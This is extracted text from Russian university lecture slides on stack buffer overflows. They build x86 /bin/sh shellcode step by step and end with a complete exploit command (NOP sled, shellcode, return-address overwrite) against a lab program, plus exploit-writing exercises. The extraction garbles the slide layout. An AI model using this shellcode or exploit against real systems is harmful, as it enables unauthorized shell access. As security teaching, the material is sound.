Лекция 2
.pdfПонятие эксплойта и уязвимости |
Переполнение буфера |
Подготовка шеллкода |
|
|
|
Представление стека
Верхушка стека
Направление роста стека (направление уменьшения адресов)
Другие |
Локальная |
Указатель |
Адрес |
1-ый |
2-ой |
... |
n-ый |
локальные |
переменная |
кадра |
|||||
переменные |
buf |
стека |
возврата |
параметр |
параметр |
|
параметр |
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
Отсутствуют |
Массив buf |
Сохраненное |
Адрес |
Переменная v Отсутствует |
|
Отсутствует |
|
|
|
значение |
инструкции, |
|
|
|
|
|
|
регистра |
следующей |
|
|
|
|
|
|
ebp |
за вызовом |
|
|
|
|
|
|
|
функции foo |
|
|
|
|
Дно стека
0x d5dc |
0x d648 |
0x d64c |
0x d650 |
108 байт |
4 байта |
4 байта |
4 байта |
Браницкий А.А., СПбГУТ |
Лекция 2, Санкт-Петербург, 2021 |
33/40 |
Понятие эксплойта и уязвимости |
Переполнение буфера |
execve_sh.c (обертка на C)
1 # include < unistd .h >
2 int main ( int argc , |
char * argv []) |
|
3 { |
|
|
4 |
execve ("/ bin / sh " , |
0, 0); |
5 |
return 0; |
|
6}
gcc -m32 -g --static execve_sh.c -o execve_sh gdb ./execve_sh
(gdb) set disassembly-flavor intel (gdb) disassemble execve
Dump of assembler code for function execve: 0x0806bf70 <+0>: push ebx
0x0806bf71 <+1>: mov edx,DWORD PTR [esp+0x10] 0x0806bf75 <+5>: mov ecx,DWORD PTR [esp+0xc] 0x0806bf79 <+9>: mov ebx,DWORD PTR [esp+0x8] 0x0806bf7d <+13>: mov eax,0xb
...
0xb - код системной функции execve. Передача аргументов выполняется через регистры ebx, ecx, edx.
Подготовка шеллкода
./execve_sh $ ls -1 / bin
boot dev etc home
initrd.img
initrd.img.old lib
lib64
lost+found media
mnt opt proc root
...
$ exit
Браницкий А.А., СПбГУТ |
Лекция 2, Санкт-Петербург, 2021 |
34/40 |
Понятие эксплойта и уязвимости |
Переполнение буфера |
Подготовка шеллкода |
|
|
|
shellcode1.asm (версия 1)
python -c 'print(" ".join(["{:02x}".format(ord(c))
for c in "/bin/sh"])) '
2f 62 69 6e 2f 73 68
1 section . text
2global _start
3 |
|
|
|
|
objdump -M intel -d shellcode1 |
|
|
4 |
_start : |
|
|
|
|||
|
|
08048060 <_start>: |
|
|
|||
5 |
|
push |
0 x0068732f |
|
|
||
|
8048060: 68 2f 73 68 00 |
push 0x68732f |
|||||
6 |
|
push |
0 x6e69622f |
||||
|
8048065: 68 2f 62 69 6e |
push 0x6e69622f |
|||||
7 |
|
mov |
ebx , |
esp |
|||
|
804806a: 89 e3 |
mov |
ebx,esp |
||||
8 |
|
mov |
ecx , |
0 |
|||
|
804806c: b9 00 00 00 00 |
mov |
ecx,0x0 |
||||
9 |
|
mov |
edx , |
0 |
|||
|
8048071: ba 00 00 00 00 |
mov |
edx,0x0 |
||||
10 |
|
mov eax , |
0 xb |
||||
|
8048076: b8 0b 00 00 00 |
mov |
eax,0xb |
||||
11 |
|
int |
0 x80 |
|
|||
|
|
804807b: cd 80 |
int |
0x80 |
|||
|
|
|
|
|
|||
|
$ |
nasm -f elf \ |
|
|
|
|
|
|
|
shellcode1.asm |
|
|
|
||
|
$ |
ld -m elf_i386 \ |
|
|
|
||
|
|
shellcode1.o \ |
|
|
|
||
|
|
-o shellcode1 |
|
|
|
Браницкий А.А., СПбГУТ |
Лекция 2, Санкт-Петербург, 2021 |
35/40 |
Понятие эксплойта и уязвимости |
Переполнение буфера |
Подготовка шеллкода |
|
|
|
shellcode2.asm (версия 2)
python -c 'print(" ".join(["{:02x}".format(ord(c))
for c in "//bin/sh"])) '
2f 2f 62 69 6e 2f 73 68
1 section . text
2global _start
3 |
|
|
|
|
objdump -M intel -d shellcode2 |
|
|
4 |
_start : |
|
|
|
|||
|
|
08048060 <_start>: |
|
|
|||
5 |
|
push |
0 |
|
|
|
|
|
|
8048060: 6a 00 |
push 0x0 |
||||
6 |
|
push |
0 x68732f6e |
||||
|
8048062: 68 6e 2f 73 68 |
push 0x68732f6e |
|||||
7 |
|
push |
0 x69622f2f |
||||
|
8048067: 68 2f 2f 62 69 |
push 0x69622f2f |
|||||
8 |
|
mov |
ebx , |
esp |
|||
|
804806c: 89 e3 |
mov |
ebx,esp |
||||
9 |
|
mov |
ecx , |
0 |
|||
|
804806e: b9 00 00 00 00 |
mov |
ecx,0x0 |
||||
10 |
|
mov |
edx , |
0 |
|||
|
8048073: ba 00 00 00 00 |
mov |
edx,0x0 |
||||
11 |
|
mov eax , |
0 xb |
||||
|
8048078: b8 0b 00 00 00 |
mov |
eax,0xb |
||||
12 |
|
int |
0 x80 |
|
|||
|
|
804807d: cd 80 |
int |
0x80 |
|||
|
|
|
|
|
|||
|
$ |
nasm -f elf \ |
|
|
|
|
|
|
|
shellcode2.asm |
|
|
|
||
|
$ |
ld -m elf_i386 \ |
|
|
|
||
|
|
shellcode2.o \ |
|
|
|
||
|
|
-o shellcode2 |
|
|
|
Браницкий А.А., СПбГУТ |
Лекция 2, Санкт-Петербург, 2021 |
36/40 |
Понятие эксплойта и уязвимости |
Переполнение буфера |
Подготовка шеллкода |
|
|
|
shellcode3.asm (версия 3)
python -c 'print(" ".join(["{:02x}".format(ord(c))
for c in "//bin/sh"])) '
2f 2f 62 69 6e 2f 73 68
1 section . text
2global _start
3 |
|
|
|
|
objdump -M intel -d shellcode3 |
|
|
4 |
_start : |
|
|
|
|||
|
|
08048060 <_start>: |
|
|
|||
5 |
|
xor |
eax , |
eax |
|
|
|
|
8048060: 31 c0 |
xor |
eax,eax |
||||
6 |
|
push |
eax |
|
|||
|
|
8048062: 50 |
push eax |
||||
7 |
|
push |
0 x68732f6e |
||||
|
8048063: 68 6e 2f 73 68 |
push 0x68732f6e |
|||||
8 |
|
push |
0 x69622f2f |
||||
|
8048068: 68 2f 2f 62 69 |
push 0x69622f2f |
|||||
9 |
|
mov |
ebx , |
esp |
|||
|
804806d: 89 e3 |
mov |
ebx,esp |
||||
10 |
|
mov |
ecx , |
eax |
|||
|
804806f: 89 c1 |
mov |
ecx,eax |
||||
11 |
|
mov |
edx , |
eax |
|||
|
8048071: 89 c2 |
mov |
edx,eax |
||||
12 |
|
mov al , 0 xb |
|||||
|
8048073: b0 0b |
mov |
al,0xb |
||||
13 |
|
int |
0 x80 |
|
|||
|
|
8048075: cd 80 |
int |
0x80 |
|||
|
|
|
|
|
|||
|
$ |
nasm -f elf \ |
|
|
|
|
|
|
|
shellcode3.asm |
|
|
|
||
|
$ |
ld -m elf_i386 \ |
|
|
|
||
|
|
shellcode3.o \ |
|
|
|
||
|
|
-o shellcode3 |
|
|
|
Браницкий А.А., СПбГУТ |
Лекция 2, Санкт-Петербург, 2021 |
37/40 |
Понятие эксплойта и уязвимости |
Переполнение буфера |
Подготовка шеллкода |
|
|
|
shellcode_c.c (тестирование шеллкода)
1 const char |
shellcode [] |
= |
||
2 |
"\ x31 \ xc0 |
\ x50 |
\ x68 \ x6e |
\ x2f \ x73 \ x68 " |
3 |
"\ x68 \ x2f |
\ x2f |
\ x62 \ x69 |
\ x89 \ xe3 \ x89 " |
4 |
"\ xc1 \ x89 |
\ xc2 \ xb0 \ x0b \ xcd \ x80 "; |
||
5 int main () |
|
|
|
|
6 { |
|
|
|
|
7 |
(*( void (*)()) |
shellcode )(); |
||
8 |
return 0; |
|
|
|
9}
gcc -m32 shellcode_c.c -o shellcode_c
./shellcode_c $ ls -1 / bin
boot dev etc home
initrd.img
initrd.img.old lib
lib64
lost+found media
mnt opt proc root
...
$ exit
Браницкий А.А., СПбГУТ |
Лекция 2, Санкт-Петербург, 2021 |
38/40 |
Понятие эксплойта и уязвимости Переполнение буфера Подготовка шеллкода
Эксплойт переполнения буфера в стеке
|
116 байт |
|||
Массив buf |
|
|
УКС |
|
(108 байт) |
|
|
(4 байта) |
|
|
40 байт |
|
23 байта |
49 байт |
4 байта |
|
NOP |
NOP |
... |
NOP |
Шеллкод |
Мусор |
Адрес |
возврата |
0x d5dc |
0x d650 |
||
|
|
|
|
|
Направление роста стека |
|
|
|
(направление уменьшения адресов) |
|
|
|
|
|
|
./vuln_stack \ |
|
|
|
$(python -c 'print "\x90"*40 + \ |
|
|
|
"\x31\xc0\x50\x68\x6e\x2f\x73\x68"\ |
|
|
|
"\x68\x2f\x2f\x62\x69\x89\xe3\x89"\ |
|
|
|
"\xc1\x89\xc2\xb0\x0b\xcd\x80" + \ |
|
|
|
"A"*49 + "\xf0\xd5\xff\xff" ') |
|
|
|
|
|
|
|
Браницкий А.А., СПбГУТ |
Лекция 2, Санкт-Петербург, 2021 |
39/40 |
Понятие эксплойта и уязвимости |
Переполнение буфера |
Подготовка шеллкода |
|
|
|
Упражнения
1Реализовать эксплойт переполнения буфера, приводящий к вызову интерпретатора /usr/bin/python или /usr/bin/perl внутри уязвимой программы vuln_stack
2Реализовать эксплойт переполнения буфера, приводящий к зависанию уязвимой программы vuln_stack (бесконечный цикл при попытке возврата из функции foo)
3Реализовать эксплойт переполнения буфера, приводящий к досрочному выходу из уязвимой программы vuln_stack (вызов exit при попытке возврата из функции foo)
Браницкий А.А., СПбГУТ |
Лекция 2, Санкт-Петербург, 2021 |
40/40 |